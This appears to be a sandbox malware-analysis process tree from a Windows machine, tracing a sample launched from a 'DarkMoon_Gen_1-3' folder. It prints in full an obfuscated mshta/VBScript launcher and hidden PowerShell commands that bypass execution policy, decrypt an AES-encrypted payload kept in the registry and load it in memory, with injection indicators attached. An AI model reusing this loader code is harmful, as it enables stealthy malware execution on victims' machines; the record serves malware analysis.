C:\Windows\System32\dllhost.exe /Processid:{c209e54b-fbc4-401a-af72-c3dc5e240250}
2⤵
PID:616

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1112

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3032

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3988

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4744

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2308

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{8220dfd4-fd2c-4bbc-96c2-548e01c35af2}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:748

C:\Windows\$sxr-powershell.exe
"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2308).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:400

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{9e21c583-a76e-42a3-b139-093dd852820d}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3100

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{0bd7a043-91de-4c43-8d26-bf692d76c45f}
5⤵
PID:5964

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{9304ff8b-e200-4e16-96d8-1626290b4811}
5⤵
PID:5468

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{aadd0b0a-29a3-4bc0-90dc-d27bd78bf191}
5⤵
PID:5488

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{41056d34-04b7-4892-b9e7-038f36c179fd}
5⤵
PID:2336

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{89d83eee-95e0-4eab-a253-d01612733dc7}
5⤵
PID:3708

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{be24b1f4-f52f-4128-8456-d11fb793cdd0}
5⤵
PID:3772

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{380c1be8-7a5e-4a2e-b1cb-ecb5d703d6eb}
5⤵
PID:5768

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{3d55d01a-2951-42e4-9bdb-15702cf913e6}
5⤵
PID:3380

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{95e022dd-c2ce-436e-8561-39bdbe793973}
5⤵
PID:5436

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{22c75efe-9e9e-4c04-b671-4eac12ab5e6f}
5⤵
PID:5324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1368

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2668

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2768

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3448

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3532

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4848

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4664

